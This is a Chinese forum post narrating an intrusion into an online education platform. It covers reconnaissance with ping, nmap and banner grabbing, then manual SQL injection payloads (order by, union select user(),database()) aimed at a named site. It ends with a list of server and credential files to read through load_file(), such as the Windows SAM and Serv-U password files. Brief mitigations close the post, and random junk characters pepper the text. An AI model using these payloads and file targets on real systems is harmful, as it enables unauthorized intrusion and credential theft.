题记：
+ F5 o5 H8 U; u" e" D一位朋友在某教育公司，一套网络教育平台。一年前，在2008年8月份的时候，我看到了这套平台，当时发现了个注入漏洞，测试了一下，得到一个可用帐户后就没有再继续下去。今天7月，又说到此事，我决定继续下去……
- ~' ~2 r, z1 F' V! O第一步：获取需要的信息* M1 Y. p$ G1 I c. T7 r
由于之前测试过，知道此系统某处存在SQL注入漏洞。但由于时隔一年，岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址，现在需要重新收集服务器有用信息。
3 }$ n( Q. ^4 ^2 X7 i0 m注：以下为保护特用XXX代替敏感信息
% ?+ ?6 Y4 ]( Z顺手先PING了一下他们的域名：
; @; l+ F0 Q/ K+ c( n' k6 V4 ]ping XXX.XXX.XXX.XXX（本文约定：用XXX.XXX.XXX.XXX代表测试IP和域名）( }( a! T% a6 _& a7 X0 ^. |) Q
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms1 b2 X% b5 c3 P N- h
顺便了解一下TTL，学好基础知识才能一路顺风：
" Q9 u9 J# ^7 a5 F# E* ~TTL：(Time To Live ) 生存时间! O) L7 x% x% b2 P! w) M
指定数据包被路由器丢弃之前允许通过的网段数量。8 v5 @7 b# V& H, ?
TTL 是由发送主机设置的，以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时，要求路由器至少将 TTL 减小 1。8 i( ?5 ~- f0 e
使用PING时涉及到的 ICMP 报文类型
& o! G/ ^& d% `一个为ICMP请求回显（ICMP Echo Request）2 c$ R3 \' N" |9 z9 i; R1 k
一个为ICMP回显应答（ICMP Echo Reply）
, P1 a( P" t5 A# W1 eTTL 字段值可以帮助我们识别操作系统类型。
% R# L8 j/ y6 aUNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 2552 q! K0 A8 a7 @9 T* U" i
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64: k* k3 Q( Y+ _1 [0 _+ T2 d9 B
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
5 ?! N+ i9 A4 X8 x1 Q5 H1 D微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
, R6 J: V# b8 e/ f! B7 w当然，返回的TTL值是相同的
$ K' S( J v9 b# Q6 ]6 x但有些情况下有所特殊" Z/ Y' t' ]# A# J- Q$ L8 f9 m" k, K
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64" a$ J* t0 f) Y8 d5 I1 R8 A( W# p
FreeBSD 4.1, 4.0, 3.4;! ]* `. w7 z6 U$ B# J/ E
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
! g+ v- z5 V7 t, H- GOpenBSD 2.6, 2.7,
; v" V9 l' y/ x) mNetBSD t, D3 A3 v+ x* A5 _5 ]: `: b
HP UX 10.20
x, o3 A' y5 v5 F, m8 _/ CICMP 回显应答的 TTL 字段值为 255
* J/ Q& H* U! x/ H* V' PWindows 95/98/98SE
5 z9 A7 t) X9 S, J; TWindows ME
3 w7 S. E8 ?8 u5 s$ w4 LICMP 回显应答的 TTL 字段值为 32
# f7 f. w: ?# a# `& oWindows NT4 WRKS
; s5 n3 h; t' i0 o8 R! t- aWindows NT4 Server
) O1 Y; A9 S; W* l, TWindows 2000& h) L' c" {. y6 T5 N! t2 x. _) D
Windows XP
9 N9 u) D! r; c9 D2 @ICMP 回显应答的 TTL 字段值为 1287 a# g) Z1 N3 o7 S( e
这样，我们就可以通过这种方法来辨别操作系统! m2 C9 R6 [7 D; U# D' f
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值，其数据就是默认的TTL值了，我们可以修改，但不能大于十进制的255
& J$ b1 M6 l; o0 u7 a用NMAP扫描一下：
) ~, V( q0 m5 \9 Qnmap -sT -O XXX.XXX.XXX.XXX( N# v+ C0 I7 c$ i, ` I1 y6 y
如果没有装WinPcap则会弹出提示：' F. [; d5 F: S' X& `1 q( H9 ]
WARNING: Could not import all necessary WinPcap functions. You may need to upgr0 j" Z# I; ]2 G r3 \ j* n
ade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(
& m/ i, K$ c! D! F2 }) mode — Nmap may not function completely# g0 |3 p3 w1 v
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher! d/ m3 r. D! f( K3 `
and iphlpapi.dll be installed. You seem to be missing one or both of these. Win
; E7 e4 \* g. u' \8 \) J: v8 rpcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an l, U$ t& m6 F
d later operating sytems and NT 4.0 with SP4 or greater. For previous windows v- o8 T- C2 X1 o
ersions, you may be able to take iphlpapi.dll from another system and place it i
: I1 }7 W8 u' b pn your system32 dir (e.g. c:\windows\system32)." t" ~: X/ ?* ]% k' C
QUITTING!
0 |+ `* m% M/ a; q; |到这里下载： http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe& v: y H3 {% f }
安装后继续执行刚才的命令，等待扫描完毕后得到入下信息：* w" ]2 j; O- Y8 [* h
Interesting ports on XXX.XXX.XXX.XXX:
: _* M/ d' n7 u8 X" X1 J3 cNot shown: 986 closed ports0 U4 `& P9 x# o/ S
PORT STATE SERVICE6 d* o- ?: }# Q6 B- F
21/tcp open ftp% }4 f' p* J) N8 a% Q6 }
22/tcp open ssh e. K( D3 b8 i2 n5 _6 r
23/tcp open telnet- R9 A! Z; y3 {8 c1 X
80/tcp open http; W+ W3 k( t+ c* X* N; h
111/tcp open rpcbind0 p: V' C5 S: b, v
135/tcp filtered msrpc9 d1 u j0 N# e
139/tcp filtered netbios-ssn# L; d1 _9 t2 ^1 L
445/tcp filtered microsoft-ds
% X4 X- s; l2 _# e4 Y3 w; _513/tcp open login8 i( A G. t! r4 j
514/tcp open shell5 \. k1 `3 m) y& V% {- {! O
593/tcp filtered http-rpc-epmap
' u1 c) O9 t+ F( W& ~3 F1720/tcp filtered H.323/Q.931
3 @, \7 p! e! g/ z3306/tcp open mysql
; | p \0 C4 E4 S4 s4444/tcp filtered krb524: x, e! x' u2 C- _7 W. w# I
Device type: WAP
* r: D* Y+ N- Q* {8 |Running: Linux 2.4.X
% Q9 l$ j1 D/ E# z ]OS details: DD-WRT (Linux 2.4.35s)$ F5 k# a1 o5 I4 i, Y' D
Network Distance: 13 hops
6 X' z4 e* h3 s! h w看到SSH22端口是开着的，打开putty试一下，看是否可以正常连接：
( t2 [3 ?+ g# {/ R, \" Z* ]login as:$ ?1 p! m6 L3 b7 J6 Y
Telnet23端口也是开着的，用telnet 命令链接一下：
0 b5 V' [8 x$ Vtelnet XXX.XXX.XXX.XXX
! q, H3 O0 q# [提示：
. [9 P B% [0 _0 k# d7 V8 bRed Hat Enterprise Linux Server release 5.2 (Tikanga)
E$ B2 m5 `: n3 N nKernel 2.6.18-92.el5PAE on an i686
: U! V- f S5 G9 }1 c6 }$ _# elogin:$ h0 v! k6 ]& V
获取HTTP头信息：& e: \* O3 z) `. u7 c
在本地执行如下PHP代码
0 T6 _ }1 q4 M$ H% q<?php, [$ Y, |1 N* T; N; g
$url = ‘XXX.XXX.XXX.XXX’;
$ Y- c1 s1 k# i. m. y0 r, vprint_r(get_headers($url));
7 Y" P; a' i% T8 o5 jprint_r(get_headers($url, 1));/ t u' X! C4 q m9 |$ m
?>1 @. W& d% k1 I9 d
将以上代码保存为PHP文件，执行：
4 |9 s( h5 Z& P; YArray ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
4 U6 S" n2 _$ }# |, _" y) m现在可以得出结论：
: B4 m; s/ Z$ M8 `' C5 e系统版本：Red Hat Enterprise Linux Server release 5.2 (Tikanga)/ m; D6 S2 {/ k
内核版本：Kernel 2.6.18-92.el5PAE on an i6867 \/ ^5 m' g' f. W& K( u9 n
WEB服务器版本：nginx/0.7.618 Q* R( H. w5 W
第二步，开始测试寻找漏洞3 M% @! D) {! n* j
分析是否存在注入漏洞，因为上次曾发现存在过，所以注入则是我们的首选。$ h. t; m# z- o( r* P1 H
1、敏感地址：站内存在有类似：http://www.fovweb.com/XXX.php?id=123 这种地址，属动态传参的( U* y5 A7 i7 n7 j3 v1 ^
2、测试方法：在地址后加 and 1=1 和 and 1=2 测试
1 I' S' v" c* r, B, nhttp://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常, a2 m! ?. v$ T" L9 R7 q
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
8 S& b& I; R* A7 J3 b恭喜，两次返回结果不同，则很有可能存在未过滤敏感字符而存在SQL注入漏洞，我们继续
) L- M( @' y5 g0 W% R3、手工注入：" j+ G: Q7 R# \8 |7 y; T" O
注入也应该有个思路，不能随便碰运气，要记住入侵检测不是靠运气而走下去的，要靠的是清晰的思路、过硬的技术、很全的知识面。
& @. f& j- _' h3.1 猜测当前表字段数( K0 U4 R- Z5 z* ^) O7 V
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10$ K- f, A: b0 H. G% H ~
此处猜测有个简单的算法，都是有技巧的吗，呵呵4 q& W+ \* ^1 y1 |& K! f) N) M
算法简单如下：( Z+ K" x3 N4 t/ @ }6 `
第一步：根据页面信息，大概估算一个数值，这个是要靠一定的经验了；( U2 g* X t$ e$ [; O3 X8 ] d `
第二步：取中算法，好比是10，如果返回错误，则取中间值5进行下一次猜测；
+ B6 `6 S) b* K需要注意：如果所选数值在字段数范围内即小于等于，则会（返回正常）；如果所选数值在字段范围外即大于等于，则会（返回错误）。
6 q$ Q' V6 `. l* w8 ?( y w0 E以此来判断，是否过界，配合取中算法猜出字段数。4 Z# V7 ?& x) k9 J; R
举例：: y5 I: l( y, s9 t
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常% ~% ]% }3 c' ~/ j
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
7 R2 R/ e b) I此时3则为我们要找的字段数。
I9 m: m: `! P) { N) P0 [6 r3.2 配合union联合查询字段在页面所位置) ?& L! d3 p! V* N
我们已经知道了字段数为3，此时则可以做如下操作：5 ^5 b: M" l( `( P% t3 S: a
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,37 X3 j7 u# j7 a# M
% N$ ~! Z8 T9 J+ C3 h
这样就可以测试到哪些字段在页面上有所显示了，如图：
: @& T% Y+ C# R" j- o8 ^- M0 f7 Q- K% U) a, W9 J4 w2 w9 C
3.3 查敏感信息
8 a, E: ]2 A6 C2 x4 @这也是个思路问题，我们需要什么，其实到了这一步已经能做什么多事情了。
( e7 ? z r8 l2 ^, ?* |) R/ J$ _9 Uhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
+ H' x$ ~2 ~, w8 q3.3.1 先查数据库用户、数据库名，以备后用，如图：
/ d/ o' }" T6 C- W. i' i" }, F4 U) F7 R) i
得到数据库用户为root、数据库名为DBxx；6 i: N/ l! H8 O/ ~6 {+ { e
3.3.2 查配置文件
- g/ d/ I) L- e( m* T查配置文件，就是指查看系统敏感的文件，如web服务器配置文件等。
+ w( d$ M9 w7 I, S+ v查看文件有一定的条件限制：; |/ ?6 |, b6 ~4 e6 U2 c& K
欲读取文件必须在服务器上5 s* l& ~9 o5 X. e0 k( Y+ ~: M
必须指定文件完整的路径, C0 m3 Y) J! a$ J* @- b$ a4 ]
必须有权限读取并且文件必须完全可读1 t5 |# v4 d5 }
欲读取文件必须小于 max_allowed_packet* B+ \! G0 W1 X: W1 C. I
MYSQL注入中，load_file()函数在获得webshell以及提权过程中起着十分重要的作用，常被用来读取各种配置文件。
5 T, m; ?+ D' V) {, S4 ~" V常用的一些：+ {7 z& J8 `- x8 X2 V8 Q
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
# d8 W1 h% H! L9 j& {2 ?/usr/local/apache2/conf/httpd.conf. q5 z; E+ f$ P! a/ ^
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
7 u4 ?9 a u$ w7 B. k/usr/local/app/php5/lib/php.ini //PHP相关设置
t1 m+ }1 Q) ~) _" J% b: J( r% s" E1 ~/etc/sysconfig/iptables //从中得到防火墙规则策略
; y9 W k; s+ D3 A6 m/etc/httpd/conf/httpd.conf // apache配置文件
) ]) I9 ~! M6 p; d i9 E/etc/rsyncd.conf //同步程序配置文件2 m/ O+ m8 _. i/ S6 O
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
7 V3 ^3 e# b# [( I* v1 E/etc/my.cnf //mysql的配置文件
5 j X+ B. A) K! \& {, A- c) S5 J/etc/redhat-release //系统版本$ B0 t D' q1 e
/etc/issue
, M: g" T$ S! J% U& f7 Y/etc/issue.net. A e2 G: L2 x5 u* j. D8 N9 h
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码8 I V* Q" a, X1 Y
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
1 E9 s6 S& H8 P9 o2 F! Wc:\Program Files\Serv-U\ServUDaemon.ini
# C' ?, C; r" I0 y. n+ o+ N1 Kc:\windows\my.ini //MYSQL配置文件) e$ c$ X' D" \3 R( |# h5 l
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件+ k8 B6 p. J. f- _/ L
等等。实际上，load_file()的作用不止于此，它还可以用来读取系统中的二进制文件，
. b" K: _- I6 I# B' uc:\windows\repair\sam //存储了WINDOWS系统初次安装的密码. ?" z' J2 G. G" h
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
) T; m { {* S7 e( e4 a# \c:\Program Files\RhinoSoft.com\ServUDaemon.exe# \8 b( X& }0 a% ^) W
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件& z) B& R' y" w. |
//存储了pcAnywhere的登陆密码
' E( v' f% J4 m" E) m' i1 c由于之前得到信息，此台服务器是采用的nginx做的Web服务器，那我们就来试着找一下nginx的安装路径吧。
: o2 l6 f! l% F2 w3 l% r3 ]2 q这个没有技术性可言，纯靠经验和运气，由于很少用nginx不了解，我就先到网上搜索常用的安装路径，以及比较好的配置文档中的安装路径进行测试，最终，得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
( |- x3 X' Z7 e% |. r最后：防范措施8 S- h6 Q8 K# ]* J: O* Z4 }6 c
1、修复PHP注入漏洞；
* s# t( ~* h5 b' n' a! C' c I) _2、Mysql使用普通权限的用户；5 I) P" m# q2 L$ U6 Y7 y
3、升级linux内核至最新版本； |
发表于 2013-2-16 22:23:32
收藏
支持
反对